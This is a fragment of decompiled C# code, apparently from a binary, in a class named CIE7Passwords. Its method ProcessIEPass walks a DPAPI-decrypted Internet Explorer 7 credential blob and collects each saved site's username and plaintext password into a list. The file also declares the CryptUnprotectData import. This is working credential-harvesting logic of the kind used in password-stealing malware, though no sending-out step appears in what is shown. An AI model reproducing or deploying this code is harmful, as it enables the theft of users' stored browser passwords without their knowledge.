// Token: 0x0600010D RID: 269 RVA: 0x00002B68 File Offset: 0x00000D68 private void ProcessIEPass(string strURL, string strHash, CIE7Passwords.DATA_BLOB dataOut) { CIE7Passwords.StringIndexEntry stringIndexEntry; int num = Strings.Len(stringIndexEntry); CIE7Passwords.StringIndexHeader stringIndexHeader; int num2 = Strings.Len(stringIndexHeader); checked { IntPtr ptr = new IntPtr(dataOut.pbData.ToInt64() + (long)(unchecked ((ulong)Marshal.ReadByte(dataOut.pbData)))); object obj = Marshal.PtrToStructure(ptr, stringIndexHeader.GetType()); CIE7Passwords.StringIndexHeader stringIndexHeader2; stringIndexHeader = ((obj != null) ? ((CIE7Passwords.StringIndexHeader)obj) : stringIndexHeader2); if (stringIndexHeader.dwType == 1) { if (stringIndexHeader.dwEntriesCount >= 2) { IntPtr intPtr = new IntPtr(ptr.ToInt32() + stringIndexHeader.dwStructSize); IntPtr value = new IntPtr(intPtr.ToInt32() + stringIndexHeader.dwEntriesCount * num); int num3 = 0; int num4 = stringIndexHeader.dwEntriesCount - 1; for (int i = num3; i <= num4; i += 2) { if (value == IntPtr.Zero | intPtr == IntPtr.Zero) { break; } object obj2 = Marshal.PtrToStructure(intPtr, stringIndexEntry.GetType()); CIE7Passwords.StringIndexEntry stringIndexEntry2; stringIndexEntry = ((obj2 != null) ? ((CIE7Passwords.StringIndexEntry)obj2) : stringIndexEntry2); IntPtr intPtr2 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset); IntPtr intPtr3; string szUserName; if (CIE7Passwords.lstrlenA(intPtr2) != stringIndexEntry.dwDataSize) { intPtr3 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset); szUserName = Marshal.PtrToStringUni(intPtr3); } else { intPtr3 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset); szUserName = Marshal.PtrToStringAnsi(intPtr3); } intPtr = new IntPtr(intPtr.ToInt32() + num); object obj3 = Marshal.PtrToStructure(intPtr, stringIndexEntry.GetType()); stringIndexEntry = ((obj3 != null) ? ((CIE7Passwords.StringIndexEntry)obj3) : stringIndexEntry2); string szPasswd = Strings.Space(stringIndexEntry.dwDataSize); intPtr3 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset); if (CIE7Passwords.lstrlenA(intPtr3) != stringIndexEntry.dwDataSize) { intPtr2 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset); szPasswd = Marshal.PtrToStringUni(intPtr2); } else { intPtr3 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset); szPasswd = Marshal.PtrToStringAnsi(intPtr3); } intPtr = new IntPtr(intPtr.ToInt32() + num); this.m_IEPass.Add(new CIE7Password(strHash, strURL, szUserName, szPasswd, this.FileTimeToDate(ref stringIndexEntry.ftInsertDateTime), 1, string.Empty)); } } } else if (stringIndexHeader.dwType == 0) { IntPtr intPtr = new IntPtr(ptr.ToInt32() + stringIndexHeader.dwStructSize); IntPtr value = new IntPtr(intPtr.ToInt32() + stringIndexHeader.dwEntriesCount * num); if (!(value == IntPtr.Zero | intPtr == IntPtr.Zero)) { int num5 = 0; int num6 = stringIndexHeader.dwEntriesCount - 1; for (int j = num5; j <= num6; j++) { object obj4 = Marshal.PtrToStructure(intPtr, stringIndexEntry.GetType()); CIE7Passwords.StringIndexEntry stringIndexEntry2; stringIndexEntry = ((obj4 != null) ? ((CIE7Passwords.StringIndexEntry)obj4) : stringIndexEntry2); string szUserName = Strings.Space(stringIndexEntry.dwDataSize); IntPtr intPtr3 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset); if (CIE7Passwords.lstrlenA(intPtr3) != stringIndexEntry.dwDataSize) { IntPtr intPtr2 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset); szUserName = Marshal.PtrToStringUni(intPtr2); } else { intPtr3 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset); szUserName = Marshal.PtrToStringAnsi(intPtr3); } intPtr = new IntPtr(intPtr.ToInt32() + num); this.m_IEPass.Add(new CIE7Password(strHash, strURL, szUserName, string.Empty, this.FileTimeToDate(ref stringIndexEntry.ftInsertDateTime), 0, string.Empty)); } } } } }
private static extern int CryptUnprotectData(ref CIE7Passwords.DATA_BLOB pDataIn, IntPtr ppszDataDescr, ref CIE7Passwords.DATA_BLOB pOptionalEntropy, IntPtr pvReserved, IntPtr pPromptStruct, int dwFlags, ref CIE7Passwords.DATA_BLOB pDataOut);